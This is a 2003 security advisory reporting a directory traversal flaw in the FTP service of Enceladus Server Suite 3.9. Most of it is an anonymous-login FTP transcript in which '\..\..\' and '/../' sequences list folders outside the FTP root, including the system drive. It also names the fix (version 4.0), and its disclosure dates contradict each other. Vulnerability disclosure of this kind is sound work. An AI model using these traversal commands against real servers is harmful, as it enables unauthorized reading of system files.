Directory Traversal vulnerability found in Enceladus Server Suite version 3.9 (FTP Service) Discovered by Dennis Rand ------------------------------------------------------------------------ -----[SUMMARY Enceladus Server Suite is an Internet/Intranet lightweight Web and FTP Server for Windows, provides secure file sharing on any network! Perfect for Broadband, Cable Modem, Small business and Personal Use. You don't have to be an expert to setup file sharing or run your own web site and FTP Server!! This Server Suite is One of the Easiest To Install and Operate! A directory traversal vulnerability in the product allows remote attackers to cause the server to traverse into directories that reside outside the bounding FTP root directory. The default installation include a anonymous user where this can be used. -----[DETAILS Vulnerable systems: * Enceladus Server Suite version 3.9 Immune systems: * Enceladus Server Suite version 4.0 Enceladus Server Suite version 3.9 failure to filter out "\.." and "/.." sequences in specific command requests allowing a remote users to break out of restricted directories and gain read access to the system directory structure; Possibility for discovering the directory structure outside the configured areas. The following transcript demonstrates a sample exploitation of the vulnerabilities: Connected to 192.168.1.199. 220 Mollensoft FTP Server Ready. User (192.168.1.199:(none)): anonymous 331 Password required for anonymous. Password: 230 User anonymous logged in. ftp> ls 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. index.html readme.txt 226 Listing complete. ftp: 24 bytes received in 0,00Seconds 24000,00Kbytes/sec. ftp> cd .. 550 Access denied ftp> cd ... 550 Access denied ftp> cd \..\ 550 Access denied ftp> cd/../ Invalid command. ftp> cd /../ 550 Access denied ftp> ls /../ 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. 226 Listing complete. ftp> ls /../../ 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. 226 Listing complete. ftp> ls \..\..\ 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. 226 Listing complete. ftp> dir \..\..\ 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. drwxr-xr-x 1 User Group 0 Jan 19 10:33 backup-html drwxr-xr-x 1 User Group 0 Jan 19 10:33 cgi-bin drwxr-xr-x 1 User Group 0 Jan 19 10:46 config -rwxr-xr-x 1 User Group 1016037 Mar 21 00:34 ENCELADUSHELP.CHM -rwxr-xr-x 1 User Group 241664 Nov 24 23:57 EnceladusServer3.9.exe drwxr-xr-x 1 User Group 0 Jan 19 10:33 html drwxr-xr-x 1 User Group 0 Jan 19 10:33 logs -rwxr-xr-x 1 User Group 30880 Jan 19 10:45 UNINSTAL.DAT drwxr-xr-x 1 User Group 0 Jan 19 10:33 users 226 Listing complete. ftp: 619 bytes received in 0,00Seconds 619000,00Kbytes/sec. ftp> dir \..\..\..\..\..\..\..\ 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT -rwxr-xr-x 1 User Group 278 Jan 18 08:49 boot.ini -rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS drwxr-xr-x 1 User Group 0 Jan 19 10:33 enceladus -rwxr-xr-x 1 User Group 5135127 Jan 19 10:32 EnceladusServerSuiteDemoV3.1.EXE drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386 drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub drwxr-xr-x 1 User Group 0 Dec 23 21:49 Installationsfiler til Windows Update -rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS -rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files -rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM -rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntldr drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack -rwxr-xr-x 1 User Group 524288000 Jan 19 10:35 pagefile.sys drwxr-xr-x 1 User Group 0 Jan 19 10:19 Program Files drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER drwxr-xr-x 1 User Group 0 Jan 19 10:45 TEMP drwxr-xr-x 1 User Group 0 Jan 19 10:36 WINNT 226 Listing complete. ftp: 1340 bytes received in 0,13Seconds 10,31Kbytes/sec. ftp> dir /../../../ 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT -rwxr-xr-x 1 User Group 278 Jan 18 08:49 boot.ini -rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS drwxr-xr-x 1 User Group 0 Jan 19 10:33 enceladus -rwxr-xr-x 1 User Group 5135127 Jan 19 10:32 EnceladusServerSuiteDemoV3.1.EXE drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386 drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub drwxr-xr-x 1 User Group 0 Dec 23 21:49 Installationsfiler til Windows Update -rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS -rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files -rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM -rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntldr drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack -rwxr-xr-x 1 User Group 524288000 Jan 19 10:35 pagefile.sys drwxr-xr-x 1 User Group 0 Jan 19 10:19 Program Files drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER drwxr-xr-x 1 User Group 0 Jan 19 10:45 TEMP drwxr-xr-x 1 User Group 0 Jan 19 10:36 WINNT 226 Listing complete. ftp: 1340 bytes received in 0,14Seconds 9,57Kbytes/sec. ftp> bye 221 Goodbye. -----[DETECTION Enceladus Server Suite version 3.9 is vulnerable to the above-described attacks. Earlier versions may be susceptible as well. To determine if a specific implementation is vulnerable, experiment by following the above transcript. -----[VENDOR RESPONSE Enceladus Server Suite version 4.0 fixes this issue. The latest version is available from http://www.mollensoft.com/product3.htm -----[DISCLOSURE TIMELINE 19/01/2003 Found the Vulnerability. 19/01/2003 Author notified. Send mail to support@mollensoft.com 18/01/2003 Responses received from MollenSoft 18/01/2003 Public Disclosure. -----[ADDITIONAL INFORMATION The vulnerability was discovered by Dennis Rand -----[DISCLAIMER The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.